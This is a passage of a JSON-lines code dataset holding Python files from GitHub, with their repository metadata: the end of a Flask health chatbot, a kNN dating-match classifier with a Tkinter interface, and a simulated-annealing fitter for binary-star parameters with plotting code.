GET_Symptom(sentence)\n\n        print(\"Symptom:\", symptom, \", prob:\", prob)\n\n        if prob > .5:\n            BOT_Response = \"Hmm, Any other symptoms other than \" + \\\n                symptom + \"?\"\n            User_Request.add(symptom)\n        else:\n            BOT_Response = \"Sorry, I am only able to answer questions relating to health issues\"\n\n        print(\"User symptoms:\", User_Request)\n\n    return jsonify(BOT_Response.replace(\"_\", \" \"))\n\n# run the flask\nif __name__ == \"__main__\":\n    app.run()\n", "repo_name": "StoopDJ/TUDIA", "sub_path": "HealthChatbot/Chatbot.py", "file_name": "Chatbot.py", "file_ext": "py", "file_size_in_byte": 5783, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "nltk.stem.porter.PorterStemmer", "line_number": 14, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 20, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.nn.Module", "line_number": 30, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 33, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 33, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 34, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 34, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 35, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 35, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 36, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 36, "usage_type": "name"}, {"api_name": "random.seed", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 48, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 48, "usage_type": "name"}, {"api_name": "torch.device", "line_number": 50, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 69, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 73, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 79, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 82, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 86, "usage_type": "call"}, {"api_name": "nltk.word_tokenize", "line_number": 90, "usage_type": "call"}, {"api_name": "torch.from_numpy", "line_number": 93, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.softmax", "line_number": 99, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 118, "usage_type": "call"}, {"api_name": "flask.request.json", "line_number": 129, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 129, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 131, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 131, "usage_type": "name"}, {"api_name": "random.choice", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 147, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 170, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 170, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 191, "usage_type": "call"}]}
{"seq_id": "39671565281", "text": "import numpy as np\nimport pandas as pd\nimport operator\nimport matplotlib.lines as mlines\nimport matplotlib.pyplot as plt\nfrom tkinter import *\nfrom collections import Counter\n\ndatingTest = pd.read_table('datingTestSet.txt',header = None)\ndatingTest.head()\n\ndef myplot(traindata,labels):\n\n\n    fig,axes = plt.subplots(nrows=2,ncols=2,sharex=False,sharey=False,figsize=(13,8))\n    colorlist = []\n    for i in labels:\n        if i == 1:\n            colorlist.append(\"red\")\n        if i == 2:\n            colorlist.append(\"black\")\n        if i == 3:\n            colorlist.append(\"orange\")\n\n    axes[0][0].scatter(x=traindata[:,0], y=traindata[:,1], color=colorlist, s=12, alpha=0.5)\n    axes0_set_title = axes[0][0].set_title(u\"the number of flyer miles and the video games\")\n    axes0_set_xlabel = axes[0][0].set_xlabel(u\"Frequent flyer miles earned each year\")\n    axes0_set_ylabel = axes[0][0].set_ylabel(u\"Time spent playing video games\")\n    plt.setp(axes0_set_title,size=9, weight=\"bold\", color=\"red\")\n    plt.setp(axes0_set_xlabel,size=7, weight=\"bold\", color=\"black\")\n    plt.setp(axes0_set_ylabel,size=7, weight=\"bold\", color=\"black\")\n\n    axes[0][1].scatter(x=traindata[:,0],y=traindata[:,2], color=colorlist, s=12, alpha=0.5)\n    axes1_set_title = axes[0][1].set_title(u\"frequent flyer miles is proportional to ice cream\")\n    axes1_set_xlabel = axes[0][1].set_xlabel(u\"Frequent flyer miles earned each year\")\n    axes1_set_ylabel = axes[0][1].set_ylabel(u\"Weekly consumption of ice cream liters\")\n    plt.setp(axes1_set_title,size=9, weight=\"bold\", color=\"red\")\n    plt.setp(axes1_set_xlabel,size=7, weight=\"bold\", color=\"black\")\n    plt.setp(axes1_set_ylabel,size=7, weight=\"bold\", color=\"black\")\n\n    axes[1][0].scatter(x = traindata[:,1],y=traindata[:,2], color=colorlist, s=12, alpha=0.5)\n    axes2_set_title = axes[1][0].set_title(u\"The percentage of video games and  ice cream\")\n    axes2_set_xlabel = axes[1][0].set_xlabel(u\"Time spent playing video games\")\n    axes2_set_ylabel = axes[1][0].set_ylabel(u\"Weekly consumption of ice cream liters\")\n    plt.setp(axes2_set_title,size=9, weight=\"bold\", color=\"red\")\n    plt.setp(axes2_set_xlabel,size=7, weight=\"bold\", color=\"black\")\n    plt.setp(axes2_set_ylabel,size=7, weight=\"bold\", color=\"black\")\n\n    largeDoses = mlines.Line2D([],[],color=\"red\",marker=\".\", markersize=6,label=\"largeDoses\")\n    smallDoses = mlines.Line2D([],[],color=\"black\",marker=\".\", markersize=6, label=\"smallDoses\")\n    didntLike = mlines.Line2D([],[],color=\"orange\",marker=\".\", markersize=6, label=\"didntLike\")\n    axes[0,0].legend(handles=[largeDoses,smallDoses,didntLike])\n    axes[0,1].legend(handles=[largeDoses,smallDoses,didntLike])\n    axes[1,0].legend(handles=[largeDoses,smallDoses,didntLike])\n\n    plt.show()\n\ndef putinfile(file):\n    putin=open(file)\n    readfile=putin.readlines()\n    datalength=len(readfile)\n    traindata=np.zeros((datalength,3))\n    labels=[]\n    index=0\n    for line in readfile:\n        line = line.rstrip()\n        line = line.split(\"\\t\")\n        traindata[index,:] = line[0:3]\n        if line[-1] == \"largeDoses\":\n            labels.append(1)\n        if line[-1] == \"smallDoses\":\n            labels.append(2)\n        if line[-1] == \"didntLike\":\n            labels.append(3)\n        index += 1\n    return traindata, labels\n\n\ndef standdata(traindata):\n    meandata0 = np.mean(traindata,axis=0)\n    stddata0 = np.std(traindata,axis=0)\n    length = traindata.shape[0]\n    meandata1 = np.tile(meandata0,(length,1))\n    stddata1 = np.tile(stddata0,(length,1))\n    standdata = (traindata-meandata1)/stddata1\n    return standdata, meandata0, stddata0\n\n\n\ndef classfy0(testdata,traindata,labels,k=10):\n    length=traindata.shape[0]\n    diffdata = traindata-np.tile(testdata,(length,1))\n    sqrdata = diffdata**2\n    sumdata = (sqrdata.sum(axis=1))**0.5\n    sumdatasort = sumdata.argsort()\n    classfy1 = {}\n    classlist = []\n    for i in range(k):\n        classlist.append(labels[sumdatasort[i]])\n    for i in classlist:\n        classfy1[i] = classfy1.get(i,0)+1\n    classfy2 = sorted(classfy1.items(),key=operator.itemgetter(1),reverse=True)\n    classfy=classfy2[0][0]\n    return classfy\n\ndef classfyperson():\n    file=\"datingTestSet.txt\"\n    traindata, labels = putinfile(file)\n    traindata, meandata0, stddata0 = standdata(traindata)\n\n    test1=float(t0.get())\n    test2=float(t1.get())\n    test3=float(t2.get())\n    testdata=np.array([test1,test2,test3])\n    testdata=(testdata-meandata0)/stddata0\n    classfy = classfy0(testdata,traindata,labels)\n    text = []\n    if classfy == 1:\n        text.append(\"女嘉宾对你的感觉是：largeDoses.你很有机会哦！！！\")\n    elif classfy == 2:\n        text.append(\"女嘉宾对你的感觉是：smallDoses.你需要加油努力！！\")\n    else:\n        text.append(\"女嘉宾对你的感觉是：didntLike. 你没有机会,放弃吧！\")\n    Label(window, text=Counter(text).most_common(1)[0][0][:21]).grid(row=6, column=0)\n    Label(window, text=Counter(text).most_common(1)[0][0][21:]).grid(row=6, column=1)\n    return classfy\n\n\n\nif __name__ == \"__main__\":\n\n\n\n    window = Tk()\n    window.title(\"Appointment match\")\n    window.geometry('500x250')\n    Label(window, text='每年出差/旅行的公里数:').grid(row=0, column=0)\n    Label(window, text='玩游戏消耗时间的百分比:').grid(row=1, column=0)\n    Label(window, text='每周消费的冷饮公升数:').grid(row=2, column=0)\n    t_0 = StringVar()\n    t_1 = StringVar()\n    t_2 = StringVar()\n    t0 = Entry(window, textvariable=t_0)\n    t1 = Entry(window, textvariable=t_1)\n    t2 = Entry(window, textvariable=t_2)\n    t0.grid(row=0, column=1, padx=10, pady=5)\n    t1.grid(row=1, column=1, padx=10, pady=5)\n    t2.grid(row=2, column=1, padx=10, pady=5)\n    Button(window, text='确认', width=10, command=classfyperson).grid(row=3, column=0, sticky=W, padx=10, pady=5)\n    Button(window, text='退出', width=10, command=window.quit).grid(row=3, column=1, sticky=E, padx=10, pady=5)\n    window.mainloop()\n\n    file = \"datingTestSet.txt\"\n    traindata, labels = putinfile(file)\n    myplot(traindata, labels)\n    classfy = classfyperson()\n", "repo_name": "yvtfa/Appointment-match", "sub_path": "1.py", "file_name": "1.py", "file_ext": "py", "file_size_in_byte": 6130, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_table", "line_number": 9, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 15, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 15, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 30, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 30, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 31, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 31, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 50, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 80, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 81, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 83, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 84, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 92, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 114, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 124, "usage_type": "call"}, {"api_name": "collections.Counter", "line_number": 125, "usage_type": "call"}]}
{"seq_id": "32686463736", "text": "import abc\nimport copy\nimport json\nimport math\nfrom random import random\nimport numpy as np\nimport time\n\n\nfrom matplotlib import pyplot as plt\n\n\nclass SA:\n    def __init__(self, initial_solution, T=100, T_min=0.05, alpha=0.99, max_time=12000, iters=1, iters_2=10, iters_3=10):\n        self.T = T  # initial temperature\n        self.T_min = T_min  # minimum temperature\n        self.alpha = alpha  # the coefficient of temperature decreasing\n        self.max_time = max_time  # time\n        self.iter = iters  # the number of iterations in each temperature, which changes the radii of the orbits\n        self.iter_2 = iters_2  # the number of iterations which changes the radii of the star\n        self.iter_3 = iters_3\n        self.history = {'T': [], 'solutions': [], 'scores': []}\n\n        self.curr_solution = initial_solution\n        self.new_solution = None  # placeholder\n        self.score = self.evaluation()\n        self.best_score = float('inf')  # choose the largest number as the initial best score\n\n        self.time = 30 * 60\n\n    @abc.abstractmethod\n    def move(self):\n        \"\"\"Create a similar solution\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def move_2(self):\n        \"\"\"Create a similar solution\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def move_3(self):\n        \"\"\"Create a similar solution\"\"\"\n        pass\n\n    @abc.abstractmethod\n    def evaluation(self):\n        \"\"\"Evaluate the solution, and give a score\"\"\"\n        pass\n\n    def check(self, new_score):  # Metropolis\n        if new_score <= self.score:\n            return True\n        else:\n            p = math.exp((new_score - self.score) / self.T)\n            # print(p)\n            if random() > p:\n                return True\n            else:\n                return False\n\n    def annealing(self):\n        count = 0\n        flag = 0\n        flag_2 = 0\n\n        bests = list()\n        start = time.time()\n\n        print(\n            '================================================Simulation================================================\\n')\n        print(\"{:<15}{:<24}{:<24}{:<24}{:<24}\".format('Iteration', 'Temperature', 'Best Score', 'Global Best Score',\n                                                      'Num of Accepted Solution'))\n        # print('Iteration\\t\\tTemperature\\t\\t\\t\\tBest Score\\t\\t\\tGlobal Best Score\\t\\t\\tNum of Accepted Solution')\n        flag_c = 0  # convergence\n        max_flag_c = 100\n        while self.T > self.T_min and self.time > time.time() - start and count < 30000:\n\n            solutions = [self.curr_solution]\n            scores = [self.score]\n            movement1 = 0.01\n            movement2 = 0.1\n            movement3 = 1\n            temp_score = self.best_score\n            for i in range(self.iter):  # iter is the number of iterations applied in each temperature\n                self.move(movement1)\n                for j in range(self.iter_2):\n                    if self.move_2(movement2) == -1:\n                        continue\n                    for p in range(self.iter_3):\n                        self.move_3(movement3)\n                        new_score = self.evaluation()\n                        if self.check(new_score):  # check whether accept the new solution or not\n                            solution_copy = copy.deepcopy(self.curr_solution)\n                            solutions.append(solution_copy)\n                            scores.append(new_score)\n                        if new_score < self.best_score:\n                            temp_score = new_score\n            if self.best_score == temp_score:\n                flag_c = flag_c+1\n            else:\n                self.best_score = temp_score\n                flag_c = 0\n\n            if flag_c > max_flag_c:\n                break\n\n            bests.append(self.best_score)\n\n            score_min = min(scores)  # find the smallest score\n            scores = np.array(scores)\n            indexes = np.argsort(scores)\n            index = indexes[0]\n            self.history['T'].append(self.T)\n            copied_solution = copy.deepcopy(self.curr_solution)\n\n            copied_solution['star1']['orbital_radius'] = copied_solution['star1']['orbital_radius'] * copied_solution[\n                'orbit_coefficient_1_2']\n            copied_solution['star2']['orbital_radius'] = copied_solution['star2']['orbital_radius'] * copied_solution[\n                'orbit_coefficient_1_2']\n\n            copied_solution['star1']['mass'] = copied_solution['star1']['mass'] * copied_solution[\n                'mass_coefficient_1_2']\n            copied_solution['star2']['mass'] = copied_solution['star2']['mass'] * copied_solution[\n                'mass_coefficient_1_2']\n\n            self.history['solutions'].append(copied_solution)\n            self.history['scores'].append(score_min)\n\n            # best solution in this temperature\n            self.curr_solution = copy.deepcopy(solutions[index])\n\n            # cooling\n            self.T = self.T * self.alpha\n            count += 1\n\n            print(\"{:<15}{:<24}{:<24}{:<24}{:<24}\".format(count, self.T, score_min, min(self.history['scores']),\n                                                          (len(solutions) - 1) / self.iter / self.iter_2 / self.iter_3))\n            # print(len(solutions))\n\n            if count % 300 == 0:\n                self.evaluation(True)\n                # print(self.curr_solution)\n                # print(copied_solution)\n                f = open('Solutions.json', 'w')\n                json_file = json.dumps(self.history, sort_keys=False, indent=4, separators=(',', ': '))\n                f.write(json_file)\n                f.write('\\n')\n                f.flush()\n                f.close()\n\n            # no accepted solutions in past 5 iterations\n            accept_rate = (len(solutions) - 1) / (self.iter * self.iter_2 * self.iter_3)\n            if accept_rate < 0.01:\n                flag += 1\n            else:\n                flag = 0\n\n            if flag > 10:\n                break\n\n            if accept_rate > 0.5:\n                flag_2 += 1\n            else:\n                flag_2 = 0\n\n            if flag_2 > 10:\n                movement1 = movement1 / 2\n                movement2 = movement2 / 2\n                movement3 = movement3 / 2\n\n                flag_2 = 0\n        # best solution\n        scores = self.history['scores']\n        score_min = min(scores)  # find the smallest score\n        index = scores.index(score_min)\n        solution = self.history['solutions'][index]\n        print(solution)\n        if flag_c > max_flag_c:\n            masses1 = list()\n            masses2 = list()\n            radii1 = list()\n            radii2 = list()\n            orb_radii1 = list()\n            orb_radii2 = list()\n            temperatures1 = list()\n            temperatures2 = list()\n            luminosities1 = list()\n            luminosities2 = list()\n            for i in range(1, max_flag_c-1):\n                mass1 = np.array(self.history['solutions'][-i]['star1']['mass'])\n                masses1.append(mass1)\n\n                mass2 = np.array(self.history['solutions'][-i]['star2']['mass'])\n                masses2.append(mass2)\n\n                radius1 = np.array(self.history['solutions'][-i]['star1']['radius'])\n                radii1.append(radius1)\n\n                radius2 = np.array(self.history['solutions'][-i]['star2']['radius'])\n                radii2.append(radius2)\n\n                orb_radius1 = np.array(self.history['solutions'][-i]['star1']['orbital_radius'])\n                orb_radii1.append(orb_radius1)\n\n                orb_radius2 = np.array(self.history['solutions'][-i]['star2']['orbital_radius'])\n                orb_radii2.append(orb_radius2)\n\n                temperature1 = np.array(self.history['solutions'][-i]['star1']['temperature'])\n                temperatures1.append(temperature1)\n\n                temperature2 = np.array(self.history['solutions'][-i]['star2']['temperature'])\n                temperatures2.append(temperature2)\n\n                luminosity1 = np.array(self.history['solutions'][-i]['star1']['luminosity'])\n                luminosities1.append(luminosity1)\n\n                luminosity2 = np.array(self.history['solutions'][-i]['star2']['luminosity'])\n                luminosities2.append(luminosity2)\n\n            max1 = np.max(np.array(masses1)) - solution['star1']['mass'], solution['star1']['mass'] - np.min(np.array(masses1))\n            max2 = np.max(np.array(masses2)) - solution['star2']['mass'], solution['star2']['mass'] - np.min(np.array(masses2))\n            max3 = np.max(np.array(radii1)) - solution['star1']['radius'], solution['star1']['radius'] - np.min(np.array(radii1))\n            max4 = np.max(np.array(radii2)) - solution['star2']['radius'], solution['star2']['radius'] - np.min(np.array(radii2))\n            max5 = np.max(np.array(orb_radii1)) - solution['star1']['orbital_radius'], solution['star1']['orbital_radius'] - np.min(np.array(orb_radii1))\n            max6 = np.max(np.array(orb_radii2)) - solution['star2']['orbital_radius'], solution['star2']['orbital_radius'] - np.min(np.array(orb_radii2))\n            max7 = np.max(np.array(temperatures1)) - solution['star1']['temperature'], solution['star1']['temperature'] - np.min(np.array(temperatures1))\n            max8 = np.max(np.array(temperatures2)) - solution['star2']['temperature'], solution['star2']['temperature'] - np.min(np.array(temperatures2))\n            max9 = np.max(np.array(luminosities1)) - solution['star1']['luminosity'], solution['star1']['luminosity'] - np.min(np.array(luminosities1))\n            max10 = np.max(np.array(luminosities2)) - solution['star2']['luminosity'], solution['star2']['luminosity']- np.min(np.array(luminosities2))\n\n            # (0.0018995985822873873, 0.0039048129299021905)(0.0002517162539118212, 0.0005174276776717668)\n            # (0.04338698495735738, 0.05314646443909699)(0.2748217448053736, 0.22038367903134137)\n            # (0.0016720164881031119, 0.0008103145636880749)(0.012618017712412666, 0.0061151092647664385)\n            # (10.632141308024075, -10.632141308024075)(-0.7971023970940223, 10.165417302824608)\n            # (0.4574050512393768, 0.4.691916878266029)(0.29281410831785104,0.2009242169958244)\n\n            # print(var1, var2, var3, var4, var5, var6, var7, var8, var9, var10)\n            print(max1, max2, max3, max4, max5, max6, max7, max8, max9, max10)\n\n        # plot\n        plt.figure(figsize=(30, 8))\n        # plt.gcf().set_size_inches(512 * 4 / 100, 512 * 2 / 100)\n        plt.subplot(2, 3, 1)\n        plt.margins(0, 0)\n        plt.subplots_adjust(top=0.93, bottom=0.07, right=0.93, left=0.07)\n        plt.subplots_adjust(hspace=0.3)\n        plt.subplots_adjust(wspace=0.6)\n        # plt.subplots_adjust(left=0.125, right=0.9, bottom=0.1, top=0.9)\n\n        plt.ticklabel_format(axis=\"x\", style=\"plain\", scilimits=(0, 0))\n        plt.xlabel('The number of iterations')\n        plt.ylabel('Score')\n        plt.plot(range(count), self.history['scores'])\n        plt.title(\"Figure 1\", fontsize='large', fontweight='bold')\n\n        plt.subplot(2, 3, 2)\n        plt.ticklabel_format(axis=\"x\", style=\"plain\", scilimits=(0, 0))\n        plt.xlabel(\"The number of iterations\")\n        plt.ylabel(\"The value of radius\")\n        fig2_1 = plt.plot(range(count), [solution_index['star1']['radius'] for solution_index in self.history['solutions']],\n                 label=r'Radius of primary star')\n        fig2_2 = plt.plot(range(count), [solution_index['star2']['radius'] for solution_index in self.history['solutions']],\n                 label=r'Radius of secondary star', color='red')\n        plt.legend(loc='upper right')\n        plt.title(\"Figure 2\", fontsize='large', fontweight='bold')\n\n        ax1 = plt.subplot(2, 3, 3)\n        plt.ticklabel_format(axis=\"x\", style=\"plain\", scilimits=(0, 0))\n        ax1.set_xlabel(\"The number of iterations\")\n        ax1.set_ylabel(\"Orbital radius of the primary star\")\n\n        plt.plot(range(count), [solution_index['star1']['orbital_radius'] for solution_index in self.history['solutions']],\n                 label=r'Orbital radius (L: primary; R: secondary)')\n        plt.legend(loc='upper right')\n        ax2 = ax1.twinx()\n        ax2.set_ylabel('Orbital radius of the secondary star')\n        plt.plot(range(count), [solution_index['star2']['orbital_radius'] for solution_index in self.history['solutions']], label=r'Orbital radius (L: primary; R: secondary)')\n        plt.title(\"Figure 3\", fontsize='large', fontweight='bold')\n\n        ax3 = plt.subplot(2, 3, 4)\n        plt.ticklabel_format(axis=\"x\", style=\"plain\", scilimits=(0, 0))\n        ax3.set_xlabel(\"The number of iterations\")\n        ax3.set_ylabel(\"Temperature of the primary star\")\n        plt.plot(range(count), [solution_index['star1']['temperature'] for solution_index in self.history['solutions']],\n                 label=r'Temperature of primary star', color=\"red\")\n        plt.legend(loc='lower right')\n\n        ax4 = ax3.twinx()\n        plt.plot(range(count), [solution_index['star2']['temperature'] for solution_index in self.history['solutions']],\n                 label=r'Temperature of secondary star')\n        plt.legend(loc='upper right')\n        ax4.set_ylabel(\"Temperature of the secondary star\")\n        plt.title(\"Figure 4\", fontsize='large', fontweight='bold')\n\n        ax5 = plt.subplot(2, 3, 5)\n        plt.ticklabel_format(axis=\"x\", style=\"plain\", scilimits=(0, 0))\n        ax5.set_xlabel(\"The number of iterations\")\n        ax5.set_ylabel(\"Luminosity of the primary star\")\n        plt.plot(range(count), [solution_index['star1']['luminosity'] for solution_index in self.history['solutions']],\n                 label=r'Luminosity of primary star', color=\"red\")\n        plt.legend(loc='lower right')\n\n        ax6 = plt.twinx()\n        plt.plot(range(count), [solution_index['star2']['luminosity'] for solution_index in self.history['solutions']],\n                 label=r'Luminosity of secondary star')\n        plt.legend(loc='upper right')\n        ax6.set_ylabel(\"Luminosity of the secondary star\")\n        plt.title(\"Figure 5\", fontsize='large', fontweight='bold')\n\n        ax7 = plt.subplot(2, 3, 6)\n        plt.ticklabel_format(axis=\"x\", style=\"plain\", scilimits=(0, 0))\n        ax7.set_xlabel(\"The number of iterations\")\n        ax7.set_ylabel(\"Mass of the primary star\")\n\n        plt.plot(range(count), [solution_index['star1']['mass'] for solution_index in self.history['solutions']],\n                 label=r'Mass (L: primary; R: secondary)')\n        plt.legend(loc='upper right')\n        plt.title(\"Figure 6\", fontsize='large', fontweight='bold')\n\n        ax8 = plt.twinx()\n        ax8.set_ylabel(\"Mass of the secondary star\")\n        plt.plot(range(count), [solution_index['star2']['mass'] for solution_index in self.history['solutions']])\n        plt.show()\n", "repo_name": "myx2021/DT", "sub_path": "SimulatedAnnealing.py", "file_name": "SimulatedAnnealing.py", "file_ext": "py", "file_size_in_byte": 14818, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "abc.abstractmethod", "line_number": 31, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 36, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 41, "usage_type": "attribute"}, {"api_name": "abc.abstractmethod", "line_number": 46, "usage_type": "attribute"}, {"api_name": "math.exp", "line_number": 55, "usage_type": "call"}, {"api_name": "random.random", "line_number": 57, "usage_type": "call"}, {"api_name": "time.time", "line_number": 68, "usage_type": "call"}, {"api_name": "time.time", "line_number": 77, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 111, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 112, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 115, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 131, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 146, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 191, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 209, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 218, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 221, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 225, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 226, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 229, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 230, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 242, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 242, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot", "line_number": 244, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 244, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.margins", "line_number": 245, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 245, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 246, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 246, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 247, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 248, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 248, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ticklabel_format", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": 